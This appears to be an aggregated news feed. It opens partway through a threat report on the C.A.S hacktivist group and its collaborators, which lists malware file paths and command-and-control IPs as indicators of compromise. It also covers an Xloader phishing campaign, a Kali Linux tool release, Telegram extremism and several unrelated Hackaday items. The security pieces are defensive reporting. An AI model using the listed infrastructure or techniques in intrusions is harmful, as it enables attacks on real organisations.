As mentioned above, besides its Telegram channel, C.A.S hosts a public chat where group members and followers actively communicate. Interestingly, the chat administrators belong not only to C.A.S, but to related groups; one of them, who goes by the name of Sean Townsend, is an administrator of the hacktivist group RUH8 and the press secretary of the Ukrainian Cyber Alliance (U.C.A).

C.A.S Discussions chat administrators and the Telegram account of the C.A.S leader The Way

In its Telegram channel, C.A.S states that it sometimes works with other groups that share its mission to attack organizations from Russia and Belarus. For example, we found posts about joint attacks by C.A.S with U.C.A, RUH8, RM-RF and others:

Message about a joint attack by C.A.S and U.C.A

Message about a joint attack by C.A.S, RUH8 and RM-RF

Translation:
Thanks to colleagues who helped with the last attack

While investigating an incident in the infrastructure of one C.A.S victim, we also found traces of compromise pointing to the DARKSTAR group (also known by the names Shadow and Comet). In one incident, we discovered the following files:

These findings are further evidence of a connection between groups targeting Russian organizations. As part of their collaboration, group members likely share access to victims’ infrastructure, C2 infrastructure and tools. They also exchange information about attacks on Telegram as a way to increase campaign visibility, discredit victims and inflict reputational damage.

Takeaways

The C.A.S group poses a serious threat to organizations in Russia and Belarus. The threat actors attack key industries using an array of tools and techniques that we have observed in the campaigns of other hacktivist groups. C.A.S attacks utilize rare RATs, publicly available remote management tools, and a range of vulnerability exploitation methods. In addition, the group spreads information about its attacks through a public Telegram channel, which causes both financial and reputational damage to victims. A more detailed analysis of C.A.S attacks is available to our Threat Intelligence subscribers.

The group openly confirms that it actively collaborates with other attackers targeting Russia. Joint actions and use of a common infrastructure point to the emergence of a sophisticated attack ecosystem, in which hacktivist groups share resources, tools and access to improve efficiency and scale operations. This strategy not only complicates attribution, but significantly increases the destructive potential of attacks.

To effectively counter such groups, it is vital to harden system defenses, apply regular updates to cybersecurity tools and leverage data analytics for monitoring relevant threat activity. It is also critically important to follow best practices when configuring your information security systems. We strongly recommend the following guides:

• Configuring protection for managed applications;
• Hardening Guide.

Following these instructions will minimize the risks of compromise and increase your system’s resistance to possible attacks.

Indicators of compromise

Revenge RAT

Spark RAT

Meterpreter

File path
C:\windows\System32\svxhost.exe
C:\Windows\system32\svrhost.exe
C:\Windows\System32\drivers\etc\rpchost.exe
C:\Windows\panther\ssbyt.exe
C:\Users\[USERNAME]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svhost.exe

IPs
194.36.188[.]94
185.117.75[.]3

securelist.com/cyber-anarchy-s…

The itch to investigate lurks within all us hackers. Sometimes, you just have to pull something apart to learn how it works. [Stephen Crosby] found himself doing just that when he got his hands on a Flume water monitor.

[Stephen] came by the monitor thanks to a city rebate, which lowered the cost of the Flume device. It consists of two main components: a sensor which is strapped to the water meter, and a separate “bridge” device that receives information from the sensor and delivers it to Flume servers via WiFi. There’s a useful API for customers, and it’s even able to integrate with a Home Assistant plugin. [Stephen] hoped to learn more about the device so he could scrape raw data himself, without having to rely on Flume’s servers.

Through his reverse engineering efforts, [Stephen] was able to glean how the system worked. He guides us through the basic components of the battery-powered magnetometer sensor, which senses the motion of metering components in the water meter. He also explains how it communicates with a packet radio module to the main “bridge” device, and elucidates how he came to decompile the bridge’s software.

When he sent this one in, [Stephen] mentioned the considerable effort that went into reverse engineering the system was “a very poor use” of his time — but we’d beg to differ. In our book, taking on a new project is always worthwhile if you learned something along the way. Meanwhile, if you’ve been pulling apart some weird esoteric commercial device, don’t hesitate to let us know what you found!

hackaday.com/2024/12/18/learni…

Nell’era della digitalizzazione, le minacce informatiche diventano sempre più sofisticate e difficili da rilevare. Recentemente, una campagna di attacco mirata ha sfruttato SharePoint per distribuire Xloader, un malware noto anche come Formbook.

Questo attacco rappresenta un esempio di alto livello di ingegneria del cybercrimine, con tecniche avanzate di evasione e compromissione.

L’attacco dietro SharePoint

Source: sublime.security
Gli attaccanti hanno orchestrato un attacco complesso basato su email ingannevoli che simulavano comunicazioni ufficiali di SharePoint. Un pulsante fittizio “Open Files” indirizzava le vittime a un file .zip dannoso, ospitato su un server esterno. Al suo interno, un file binario denominato document.exe era progettato per eseguire attività malevole.

Il Sublime Threat Research Team ha identificato l’attacco grazie a indicatori sospetti:

• Impersonificazione del marchio Microsoft: Loghi falsi e modelli di SharePoint creati con tecniche di visione artificiale.
• Domini sospetti: I domini del mittente non corrispondevano alle destinazioni dei link.
• Linguaggio manipolatorio: Frasi studiate per rubare credenziali attraverso l’ingegneria sociale.

Grazie al servizio LinkAnalysis, il team ha seguito il percorso dei link, scaricato i file e analizzato ogni elemento. Il binario document.exe si è rivelato essere uno script AutoIT, un linguaggio di scripting legittimo ma spesso abusato dai cybercriminali.

L’analisi ha evidenziato

• Obfuscazione complessa: Shellcode mascherato, con trucchi anti-analisi come GetTickCount e Sleep per sfuggire alle emulazioni.
• Injection avanzato: Lo script si iniettava in processi come svchost.exe e netsh.exe, una caratteristica distintiva dei malware loader.
• Tracce lasciate: Un file denominato “lecheries” nella directory temporanea ha permesso ulteriori indagini sul comportamento del malware.

Strumenti come Ghidra e x32dbg hanno rivelato l’uso di API critiche (CreateProcessW, VirtualAlloc, SetThreadContext), sottolineando la sofisticazione dell’attacco.

La payload finale è stata identificata come Xloader, un infostealer capace di:

• Raccogliere credenziali, screenshot e sequenze di tasti.
• Effettuare injection in più processi, incluso explorer.exe.
• Utilizzare il doppio caricamento di ntdll.dll per aggirare i rilevatori.

L’indagine ha anche collegato l’attacco a TrickGate, un noto packer malware utilizzato per distribuire Xloader. Gli elementi iniziali dello script AutoIT e dello shellcode presentavano tecniche associate a TrickGate, come confermato da precedenti ricerche.

Conclusione

Questa campagna evidenzia la necessità di un monitoraggio costante e di strategie difensive sempre più avanzate per contrastare le minacce informatiche. Le tecniche sofisticate impiegate dai cybercriminali richiedono risposte rapide, preventive e basate su aggiornamenti tempestivi, oltre a una consapevolezza organizzativa elevata.

Proteggersi non è solo una questione tecnica, ma un impegno continuo nell’analisi delle dinamiche di attacco e nella costruzione di infrastrutture digitali resilienti. La capacità di adattarsi a un panorama digitale sempre più complesso è fondamentale per ridurre i rischi e garantire la sicurezza in un contesto interconnesso e in continua evoluzione.

L'articolo Allarme Xloader: Come un Malware Usa SharePoint per Colpire le Aziende proviene da il blog della sicurezza informatica.

The Brennan torpedo, invented in 1877 by Louis Brennan, was one of the first (if not the first) guided torpedoes of a practical design. Amazingly, it had no internal power source but it did have a very clever and counter-intuitive mode of operation: a cable was pulled backward to propel the torpedo forward.

If the idea of sending something forward by pulling a cable backward seems unusual, you’re not alone. How can something go forward faster than it’s being pulled backward? That’s what led [Steve Mould] to examine the whole concept in more detail in a video in a collaboration with [Derek Muller] of Veritasium, who highlights some ways in which the physics can be non-intuitive, just as with a craft that successfully sails downwind faster than the wind.

Pulling the cable out the back of the device turns the propeller thanks to a pulley-type assembly with the prop shaft connected to a drum, as seen in the animation here. The actual Brennan torpedo was somewhat more complex, but the operating principle was the same.

The real thing had two cables coming out the back and drove two counter-rotating props. It could be steered by changing the relative speed at which the two cables were pulled, which caused a rudder to turn and allowed the torpedo to be guided. It really was very clever, and the Brennan torpedo was in service for over a decade before being superseded by designs with internal power systems that could be launched by ship.

The basic concept is explored with the help of a working model in the video embedded below, along with identifying what makes the physics tricky to intuit. If you have a few extra minutes to admire the importance of leveraging mechanical advantage, check it out.

youtube.com/embed/qvtZIdSI1Yk?…

hackaday.com/2024/12/17/pullin…

Uno studio del Southern Poverty Law Center (SPLC) ha scoperto che gli algoritmi di Telegram facilitano la diffusione di contenuti estremisti. Secondo il rapporto, la funzione “canali simili”consiglia agli utenti comunità estremiste anche quando visualizzano argomenti neutrali, come celebrità o tecnologia.

Un’analisi di oltre 28.000 canali ha rivelato che la piattaforma promuove ideologie radicali. Ad esempio, la ricerca di “Donald Trump” su un account appena creato ha immediatamente portato alla luce consigli per canali correlati alla teoria della cospirazione di QAnon. Questa teoria sostiene che Trump stia conducendo una lotta segreta contro i “satanisti” dell’élite mondiale. Un altro esempio: la ricerca di “unrest in the UK” ha mostrato un meme con un’immagine di Adolf Hitler e in primo luogo collegamenti a canali di gruppi estremisti.

I ricercatori dell’SPLC hanno concluso che gli utenti interessati a un tipo di contenuto radicale potrebbero essere dirottati verso altre forme di estremismo, tra cui l’antisemitismo e le ideologie di estrema destra. Il rapporto sottolinea che i gruppi estremisti utilizzano attivamente Telegram non solo per diffondere meme e disinformazione, ma anche per organizzare azioni reali con la partecipazione delle persone.

Va notato che dopo la tragedia di Southport, che ha scatenato disordini, su Telegram apparvero i primi inviti alla protesta, accompagnati da false dichiarazioni sullo status del presunto aggressore.

Telegram insiste affinché gli utenti abbiano accesso solo ai contenuti a cui sono iscritti. Secondo i rappresentanti dell’azienda, la funzione di raccomandazione dei canali mostra solo le risorse che corrispondono agli interessi dell’utente e differiscono dagli algoritmi di altre piattaforme.

La società ha affermato di rimuovere ogni giorno milioni di contenuti dannosi utilizzando team di moderazione e strumenti di intelligenza artificiale.

Allo stesso tempo, il fondatore di Telegram Pavel Durov è indagato in Francia con l’accusa di favoreggiamento del traffico di droga, criminalità organizzata e distribuzione di materiale CSAM. Lo stesso Durov nega tutte le accuse. Le autorità francesi gli hanno vietato di lasciare il Paese fino alla conclusione del procedimento.

Un ex dipendente di Telegram ha affermato di aver cercato di convincere Durov nel 2021 a prestare maggiore attenzione al problema dei contenuti estremisti. Tuttavia, la risposta di Durov è stata che la piattaforma non dovrebbe decidere chi ha diritto alla libertà di parola.

I ricercatori dell’SPLC sottolineano che Telegram, nonostante le sue misure, rimane una minaccia significativa nel mondo digitale. Secondo gli esperti, gli algoritmi della piattaforma contribuiscono alla diffusione di contenuti pericolosi e possono avere gravi conseguenze per la società.

L'articolo Black Telegram: Gli Algoritmi Spingono i Contenuti estremisti, Lo Denuncia l’SPLC proviene da il blog della sicurezza informatica.

La nuova versione di Kali Linux include 14 nuovi strumenti, un supporto migliorato per Raspberry Pi, il passaggio a Python 3.12 per impostazione predefinita e l’interruzione delle immagini per l’architettura i386.

La versione Kali Linux 2024.4 è tradizionalmente aggiornata con nuovi strumenti per gli specialisti della sicurezza informatica. Tra questi:

• bloodyad: framework per l’escalation dei privilegi in Active Directory;
• certi: richiesta di certificati ad ADCS e rilevamento di modelli;
• chainsaw: ricerca di artefatti Windows per analisi forensi digitali;
• findomain: soluzione per il riconoscimento dei domini;
• hexwalk: Analizzatore ed editor esadecimale;
• linkedin2username: genera elenchi di nomi utente per le aziende LinkedIn;
• mssqlpwner: uno strumento per interagire e hackerare server MSSQL;
• openssh-ssh1: client SSH per il protocollo legacy SSH1;
• proximoth: rilevatore di vulnerabilità di attacco al frame di controllo;
• python-pipx: esecuzione di binari Python in ambienti isolati;
• sara: ispettore di sicurezza RouterOS;
• web-cache-vulnerability-scanner: tester per l’avvelenamento della cache web;
• xsrfprobe: strumenti per analizzare e sfruttare le vulnerabilità CSRF;
• zenmap: interfaccia per lo scanner di rete nmap.

Fine del supporto per i386. Con la nuova versione di Kali Linux è stata interrotta la creazione di immagini per l’architettura i386. La decisione è stata presa in relazione al rifiuto di Debian di supportare le build a 32 bit nell’ottobre 2024. Nonostante ciò, i pacchetti i386 rimangono ancora disponibili nel repository e possono essere eseguiti su sistemi x86-64.

Transizione a Python 3.12 e modifiche per pip. Python 3.12 è diventato il nuovo interprete predefinito. L’installazione diretta dei pacchetti utilizzando pip è ora disabilitata per evitare conflitti con il gestore pacchetti apt del sistema. Kali offre invece il comando pipx, che consente di isolare pacchetti di terze parti.

Aggiornamenti OpenSSH e Raspberry Pi. OpenSSH versione 9.8p1 ​​​​in Kali Linux 2024.4 non supporta più le chiavi DSA. Per i sistemi più vecchi con questo tipo di chiave è disponibile il client SSH1, congelato alla versione 7.5. Tuttavia, gli strumenti che non riconoscono ssh1 potrebbero perdere la compatibilità con i sistemi legacy.

Supporto migliorato per Raspberry Pi Imager, che consente di preconfigurare un’immagine Kali per Raspberry Pi. Ora puoi impostare il nome host, le opzioni di accesso, le chiavi SSH, la configurazione Wi-Fi e le impostazioni locali prima di scrivere l’immagine sulla scheda microSD.

Raspberry Pi Imager (Kali.org)

Modifiche sul desktop. L’ambiente GNOME 47 aggiornato offre il supporto per la modifica del colore principale dell’interfaccia. Sono stati aggiunti anche un nuovo dashboard di sistema e un tema di accesso.

Nuova interfaccia di accesso per Kali Linux 2024.4 ( Kali.org )

Come aggiornare a Kali Linux 2024.4.

Per iniziare a utilizzare Kali Linux 2024.4, puoi aggiornare la versione esistente, selezionare una piattaforma o scaricare direttamente le immagini ISO per nuove installazioni e distribuzioni live.

Gli utenti di versioni precedenti possono aggiornare utilizzando i seguenti comandi:
┌──(kali㉿kali)-[~]
└─$ echo "deb http.kali.org/kali kali-rolling main contrib non-free non-free-firmware" | sudo tee /etc/apt/sources.list
[...]

┌──(kali㉿kali)-[~]
└─$ sudo apt update && sudo apt -y full-upgrade
[...]

┌──(kali㉿kali)-[~]
└─$ cp -vrbi /etc/skel/. ~/
[...]

┌──(kali㉿kali)-[~]
└─$ [ -f /var/run/reboot-required ] && sudo reboot -f
Una volta completato il processo, puoi verificare la versione di Kali Linux con il comando:
┌──(kali㉿kali)-[~]
└─$ grep VERSION /etc/os-release
VERSION_ID="2024.4"
VERSION="2024.4"
VERSION_CODENAME=kali-rolling

┌──(kali㉿kali)-[~]
└─$ uname -v
#1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15)

┌──(kali㉿kali)-[~]
└─$ uname -r
6.11.2-amd64
L’elenco completo delle modifiche è disponibile sul sito ufficiale di Kali.

L'articolo Esce Kali Linux 2024.4! 14 nuovi strumenti e il futuro dell’hacking su Raspberry Pi! proviene da il blog della sicurezza informatica.

If you were in Tunisia in October, you might have caught some of the Morse Code championships this year. If you didn’t make it, you could catch the BBC’s documentary about the event, and you might be surprised at some of the details. For example, you probably think sending and receiving Morse code is only for the elderly. Yet the defending champion is 13 years old.

Teams from around the world participated. There was stiff competition from Russia, Japan, Kuwait, and Romania. However, for some reason, Belarus wins “almost every time.” Many Eastern European countries have children’s clubs that teach code. Russia and Belarus have government-sponsored teams.

Morse code is very useful to amateur radio operators because it allows them to travel vast distances using little power and simple equipment. Morse code can also assist people who otherwise might have problems communicating, and some assistive devices use code, including a Morse code-to-speech ring the podcast covers.

The speed records are amazing and a young man named [Ianis] set a new record of 1,126 marks per minute. Code speed is a little tricky since things like the gap size and what you consider a word or character matter, but that’s still a staggering speed, which we estimate to be about 255 words per minute. While we can copy code just fine, at these speeds, it sounds more like modem noises.

Learning Morse code isn’t as hard as it sounds. Your computer can help you learn, but in the old days, you had to rely on paper tape.

hackaday.com/2024/12/17/the-wo…

If you aren’t up to date with [Carl Bugeja]’s work with tiny brushless PCB motors, his summary video of his latest design and all the challenges it involved is an excellent overview.

Back in 2018 we saw [Carl]’s earliest versions making their first spins and it was clear he was onto something. Since then they have only improved, but improvement takes both effort and money. Not only does everything seemingly matter at such a small scale, but not every problem is even obvious in the first place. Luckily, [Carl] has both the determination and knowledge to refine things.
Hardware development is expensive, especially when less than a tenth of a millimeter separates a critical component from the junk pile.
The end result of all the work is evident in his most recent test bed: an array of twenty test motors all running continuously at a constant speed of about 37,000 RPM. After a month of this, [Carl] disassembled and inspected each unit. Each motor made over 53 million rotations per day, closing out the month at over 1.6 billion spins. Finding no sign of internal scratches or other damage, [Carl] is pretty happy with the results.

These motors are very capable but are also limited to low torque due to their design, so a big part of things is [Carl] exploring and testing different possible applications. A few fun ones include a wrist-mounted disc launcher modeled after a Spider-Man web shooter, the motive force for some kinetic art, a vibration motor, and more. [Carl] encourages anyone interested to test out application ideas of their own. Even powering a micro drone is on the table, but will require either pushing more current or more voltage, both of which [Carl] plans to explore next.

Getting any ideas? [Carl] offers the MotorCell for sale to help recover R&D costs but of course the design is also open source. The GitHub repository contains code and design details, so go ahead and make them yourself. Or better yet, integrate one directly into your next PCB.

Got an idea for an application that would fit a motor like this? Don’t keep it to yourself, share in the comments.

youtube.com/embed/CVszJMlvZcA?…

hackaday.com/2024/12/17/pcb-mo…